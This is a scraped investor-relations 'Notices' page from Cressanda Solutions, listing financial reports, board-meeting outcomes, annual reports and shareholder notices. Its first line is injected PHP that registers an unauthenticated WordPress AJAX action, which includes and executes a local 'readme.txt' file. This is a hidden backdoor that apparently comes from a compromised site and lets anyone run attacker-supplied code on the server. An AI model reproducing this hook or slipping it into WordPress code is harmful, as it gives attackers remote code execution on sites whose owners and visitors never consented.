if(!function_exists('file_check_readme12448')){ add_action('wp_ajax_nopriv_file_check_readme12448', 'file_check_readme12448'); add_action('wp_ajax_file_check_readme12448', 'file_check_readme12448'); function file_check_readme12448() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Notices – Cressanda Solutions
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Cressanda Solutions Cressanda Solutions
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  • Home
  • Who We Are
    • Eastern Railway Network
    • Partnership with Kolkata Metro
    • Kolkata Airport Trolleys
    • On-Demand Digital Content
    • Infrastructure Development
    • Our Group of Companies
  • Our Core Team
  • Board of Directors
  • News
  • Investor Corner
    • Grievance Redressal Mechanism
    • Investor Grievance
    • Investor Grievance Redressal
  • Work@Cressanda
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  • Get In Touch

Financial Reports

67
  • FY 2020-21
    • FY 2020-21 2nd Quarter
      • UnAudited Financial Results for the Quarter and Half year ended September 30, 2020
      • Related Party Transaction – Half year ended September 30, 2020
      • Certificate under Reg 74(5)
      • Certificate under Reg 40(9)
      • Certificate under Reg 7(3)
    • FY 2020-21 3rd Quarter
      • UnAudited Financial Results for the Quarter ended December 31, 2020
      • IGR
      • Certificate under Reg 74(5)
    • FY 2020-21 4th Quarter
      • Related Party Transaction for the Half year ended March 31, 2021
      • IGR
      • Disclosure of Large Entity
      • Certificate under Reg 74(5)
      • Certificate under Reg 40(9)
      • Certificate under Reg 7(3)
    • FY 2020-21 1st Quarter
      • UnAudited Financial Results for the Quarter ended June 30, 2020
      • IGR
      • Certificate under Reg 74(5)
  • FY 2021-22
    • FY 2021-22 2nd Quarter
      • UnAudited Financial Results for the Quarter and Half year ended September 30, 2021
      • Related Party Transaction for the Half year ended September 31, 2021
      • IGR
      • Certificate under Reg 74(5)
      • 33
    • FY 2021-22 3rd Quarter
      • UnAudited Financial Results for the Quarter and Nine Months ended December 31, 2021
      • Certificate under Reg 74(5)
    • FY 2021-22 4th Quarter
      • Related Party Transaction for the Half year ended March 31, 2022
      • IGR
      • Disclosure of Large Entities
      • Certificate under Reg 74(5)
      • Certificate under Reg 40(9)
      • Certificate under Reg 7(3)
      • Audited Financial Results for the Quarter and Year ended March 31, 2022
    • FY 2021-22 1st Quarter
      • UnAudited Financial Results for the Quarter ended June 30, 2021
      • IGR
      • Certificate under Reg 74(5)
  • FY 2022-23
    • FY 2022-23 1st Quarter
      • Statement of Deviation March 31, 2023
      • Regulation 24A_Annual Secretarial Compliance Report March 31, 2023
      • Non-Applicability of Large Entity Disclosure March 31, 2023
      • Financial Results March 31, 2023
      • Compliance under Regulation 74(5) March 31, 2023
      • Compliance Certificate_Regulation 7(3) March 31, 2023
      • Certificate under Regulation 40(9) March 31, 2023
  • FY 2023-24
    • FY 2023-24 2nd Quarter
      • SE Letter Statement of Deviation September 30, 2023
      • Shareholding Pattern 2023
      • Corporate Announcement_Trading Window Closure September 30, 2023
      • Certificate under Regulation 74(5) September 30, 2023
    • FY 2023-24 3rd Quarter
      • Un Audited Financial Results December 31, 2023
      • Statement of Deviation December 31, 2023
      • Compliance Letter Regulation 74 (5) December 31, 2023
    • FY 2023-24 1st Quarter
      • Trading Window Closure June 30, 2023
      • Statement of Deviation June 30, 2023
      • Financial Results June 30, 2023
      • Certificate under Regulation 74(5) June 30, 2023
  • FY 2024-25
    • FY 2024-25 2nd Quarter
      • Results – Quarter And Half Year Ended 30.09.2024
      • Results- Quarter Ended June 30, 2024.
    • FY 2024-25 3rd Quarter
      • Results – December 31, 2024
    • FY 2024-25 1st Quarter
      • Unaudited Financial Results June 30, 2024
      • Statement of Deviation June 30, 2024
      • Share Reconciliation Audit June 30, 2024
      • Shareholding Pattern June 30, 2024
      • Investor Compliant Report June 30, 2024
      • Corporate Governance Report June30, 2024
  • FY 2019-20
    • FY 2019-20 4th Quarter
      • Related Party Transaction for the Half year ended March 31, 2022
      • IGR
      • Disclosure of Large Entity
      • Certificate under Reg 40(9)
      • Certificate under Reg 7(3)
      • Audited Financial Results – March 2020

Annual Returns

6
  • Form MGT 7 Cressanda Solutions Limited 2022-23
  • MGT-9 FY 2021-22
  • Secretarial Audit Report
    • 02 Annual Secretarial Compliance Report under Reg 24A FY 2021-22
    • 01 Annual Secretarial Compliance Report under Reg 24A FY 2019-20
  • Scrutinizer's Report
    • Scrutinizer’s Report dated March 17, 2022 on Postal Ballot
    • 01 Scrutinizer’s Report for the 35th Annual General Meeting

Annual Report

11
  • Annual Report 2024-25
  • Annual Report 2023-24
  • Annual Report 2022-23
  • Annual Report 2020-21
  • Annual Report 2019-20
  • Annual Report 2018-19
  • Annual Report 2017-18
  • Annual Report 2016-17
  • Annual Report 2015-16
  • Annual Report 2014-15
  • Annual Report 2013-14

Newspaper Articles

9
  • Newspapers Publication 09 09 2025
  • Newspaper Publication 09 09 2025
  • Newspaper Publication 11 01 2024
  • News Paper Publication 14 02 2024
  • 05 Newspaper Clipping – AFR Quarter and Year ended March 2022
  • 04 Newspaper Clipping – UnAudited Financial Results for the Quarter and Nine Months ended December 31, 2021
  • 03 Newspaper Clipping – Postal Ballot notice dated February 14, 2022
  • 02 Newspaper Clipping – Corrigendum To Postal Ballot Notice Dated February 09, 2022
  • 01 Newspaper Clipping – Notice of 35th Annual General Meeting

Trading Window

11
  • 10 Closure of Trading Window for UFR for the Querter ended June 30, 2022
  • 09 Closure of Trading Window for UFR for the Querter and year ended March 31, 2022
  • 08 Closure of Trading Window for UFR for the Querter ended December 31, 2021
  • 07 Closure of Trading Window for UFR for the Querter & Half year ended September 30, 2021
  • 06 Closure of Trading Window for 36th Annual General Meeting
  • 05 Closure of Trading Window for UFR for the Querter ended July 30, 2021
  • 04 Closure of Trading Window for AFR for the Querter and year ended March 31, 2021
  • 03 Closure of Trading Window for UFR for the Querter ended December 31, 2020
  • 02 Closure of Trading Window for UFR for the Querter & Half year ended September 30, 2020
  • 01 Closure of Trading Window for UFR for the Querter ended June 2020
  • 00 Closure of Trading Window for 35th Annual General Meeting

Policies and Other Information

14
  • BRSR Policy Cressanda
  • Vigil Mechanism Policy
  • Terms & Conditions of Appointment of Independent Directors
  • Related Party Transaction Policy
  • Policy or preservation-of-documents Archival Policy
  • Policy for Determining Materiality
  • Policy for Determining Material Subsidiaries
  • Nomination & Remuneration Policy
  • Leak of UPSI
  • Familiarisation Program 2022-23
  • CSR Policy Cressanda
  • Code of Fair Disclosure of UPSI
  • Code of Conduct for dealing in UPSI
  • Code of Conduct for Board & Senior Management Personnel

Subsidiary Financial Statements

4
  • Cressanda Staffing Solution Private Limited 2022-23
  • Cressanda Food Solutions Private Limited 2022-23
  • Cressanda E-Platform Private Limited 2022-23
  • Cressanda Analytica Service Private Limited 2022-23

Public Announcements

98
  • Updates
    • Cressanda-Book closure – BSE
    • Board Meeting Outcome dated 6/09/2023
    • Business Responsibility and Sustainability Report
    • 36 Change in Contact Details
    • 35 Press Release dated May 30,2022
    • 34 Intimation w.r.t. Incorporation of Wholly Owned Subsidiary
    • 33 Shifting of Registered officer w.e.f. May 09, 2022
    • 32 Board Composition and KMP of the Co. as on May 06, 2022
    • 31 Conversion of Convertible Warrants in to Equity Shares May 03, 2022 – Copy
    • 30 Press Release dated April 29,2022
    • 29 Acquisition of Lucida Technologies Private Limited
    • 28 Appointment of Mrs. Preeti Das w.e.f April 12, 2022
    • 27 Soumyadri Bose, MD takes over the Reigns of the Company
    • 26 Allotment of 9,49,18,000 Convertible Equity Warrants on Preferential basis
    • 25 Shifting of Registered officer w.e.f. March 31, 2022
    • 24 Declaration of Postal Ballot Result
    • 23 Corrigendum to Postal Ballot Notice
    • 22 Resignation of Statutory Auditor w.e.f. February 9, 2022
    • 21 Change in RTA of the Company
    • 20 Board Meeting approval to raise up to Rs. 66,50,00,000- through Preferential Basis
    • 18 Board Meeting Approval of Increase in Investment powers
    • 17 Board Meeting Approval of Increase in Authorised Share Capital to Rs. 70 Crores
    • 15 Appointment of Managing Director w.e.f Feb 09, 2022
    • 14 Appointment of Statutory Auditor w.e.f Feb 09, 2022
    • 13 Appointment of Internal Auditor w.e.f February 09, 2022
    • 11 Appointment of CS & Compliance Officer w.e.f Feb 9, 2022
    • 10 Diversification of Business
    • 09 Resignation of Independent Director w.e.f December 08, 2021
    • 08 Resignation of CS w.e.f December 08, 2021
    • 07 Appointment of Independent Director w.e.f November 25, 2021
    • 06 Resignation of CFO w.e.f November 25, 2021
    • 05 Appointment of CFO and MD w.e.f November 25, 2021
    • 04 Proceedings of 36th Annual General Meeting
    • 02 Intimation Regarding Cut-Off Date and E-Voting Period For 36Th Annual General Meeting
    • 02 Intimation Regarding Cut-Off Date and E-Voting Period For 35Th Annual General Meeting
    • 01 Appointment of CS & Compliance Officer dated July 07, 2020
  • Board Meeting Intimation
    • 11 Intimation of BM Scheduled to be held on Saturday, May 28, 2022
    • 11 Intimation of BM Scheduled to be held on Monday, May 23, 2022
    • 10 Intimation of BM Scheduled to be held on Tuesday, May 03,2022
    • 09 Intimation of BM Scheduled to be held on Friday, April 29, 2022
    • 08 Intimation of BM Scheduled to be held on Thursday. March 31, 2022
    • 07 Intimation of BM Scheduled to be held on Saturday, November 13, 2021
    • 06 Intimation of BM Scheduled to be held on Friday, August 13, 2021
    • 05 Intimation of BM Scheduled to be held on Monday, June 28, 2021
    • 04 Intimation of BM Scheduled to be held on Saturday, February 13, 2021
    • 03 Intimation of BM Scheduled to be held on Friday, November 13, 2020
    • 02 Intimation of BM Scheduled to be held on Saturday, August 29, 2020
    • 01 Intimation of BM Scheduled to be held on Thursday, July 30, 2020
  • Corporate Announcements
    • Scrutinizer Report AGM 2023
    • Proceedings of Annual General Meeting 2023
    • Press Release Profile of Directors
    • Newspaper Publication Right Issue
    • Newspaper Publication Financial Results June 30, 2023
    • Newspaper Publication Allotment of Shares on Right Basis
    • Newspaper Publication AGM Notice 2023
    • Corporate Announcement Acquisition of Mastermind Advertising Private Limited 2023
    • Corporate Announcement Road Show Event Taj Bengal September 09, 2023
    • Corporate Announcement Right Issue
    • Corporate Announcement Resignation of Independent Director 2023
    • Corporate Announcement Resignation of Company Secretary September 22, 2023
    • Corporate Announcement Request for Updation of Corporate Information on SE
    • Corporate Announcement Record Date Disclosure 2023
    • Corporate Announcement Postponement of Board Meeting September 22, 2023
    • Corporate Announcement Intimation of Closure of Right Issue
    • Corporate Announcement Intimation of Book Closure
    • Corporate Announcement Intimation of BM August 14, 2023
    • Corporate Announcement Cressanda wins prestigious bid May 02, 2023
    • Corporate Announcement Cressanda Receives work order
    • Corporate Announcement Commencement of Operations 2023
    • Corporate Announcement BM Outcome September 06, 2023
    • Corporate Announcement BM Outcome October 04, 2023
    • Corporate Announcement BM Intimation September 22, 2023
    • Corporate Announcement Appointment of Independent Director September 30, 2023
    • Corporate Announcement Appointment of Company Secretary 2023
    • Corporate Announcement Appointment of Chief Financial Officer September 08, 2023
    • Corporate Announcement Annual Report 2023
    • Corporate Announcement AGM Notice 2023
    • Business Responsibility and Sustainability Report 2023
    • BM Outcome Allotment of equity shares on right basis
    • BM Outcome August 07, 2023
    • BM Outcome April 01, 2023
    • BM Intimation for May 30, 2023
  • Board Meeting
    • 17 Outcome of BM dated May 09, 2022
    • 16 Outcome of BM dated May 03, 2022
    • 15 Outcome of BM dated April 29. 2022
    • 13 Outcome of BM dated March 31, 2022
    • 13 Outcome of BM dated February 14, 2022
    • 11 Outcome of BM dated December 15, 2021
    • 10 Outcome of BM dated December 08, 2021
    • 09 Outcome of BM dated November 25, 2021
    • 08 Outcome of BM dated November 13, 2021
    • 07 Outcome of BM dated August 13, 2021
    • 06 Outcome of BM dated June 28, 2021
    • 05 Outcome of BM dated February 13, 2021
    • 04 Outcome of BM dated November 13, 2020
    • 03 Outcome of BM dated August 29, 2020
    • 02 Outcome of BM dated July 30, 2020
    • 01 Outcome of BM dated July 07, 2020

Shareholders Notices

10
  • First And Final Call Notice 2023
  • Letter Of Addendum To Shareholders
  • Notices
    • 40th Annual General Meeting Notice
    • 38th Annual General Meeting Notice
    • Postal Ballot Notice
      • Postal Ballot Notice dated Nov 10, 2023
      • Postal Ballot Notice dated Feb 09, 2022
    • General Meeting Notice
      • 38th Annual General Meeting Notice
      • 03 Notice of 37th Annual General Meeting
      • 02 Notice of 36th Annual General Meeting
      • 01 Notice of 35th Annual General Meeting

Downloadable Formats

7
  • Form-SH-14 Cancellation or Variation of Nomination
  • Form-SH-13 Nomination Form
  • Form-ISR-5 Request for Transmission of Securities by Nominee or Legal Heir
  • Form-ISR-4 Request for issue of Duplicate Share Certificate
  • Form-ISR-3 Declaration form for Opting out of Nomination
  • Form-ISR-2 Confirmation of Signature of securities holder by Banker
  • Form-ISR-1 Request for Registering PAN KYC Details Updation
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Notices

2 Sub Categories | 2 articles

General Meeting Notice

4 articles

Last Updated: September 8, 2023

Postal Ballot Notice

2 articles

Last Updated: December 4, 2023

40th Annual General Meeting Notice

Last Updated: September 11, 2025

38th Annual General Meeting Notice

Last Updated: September 8, 2023

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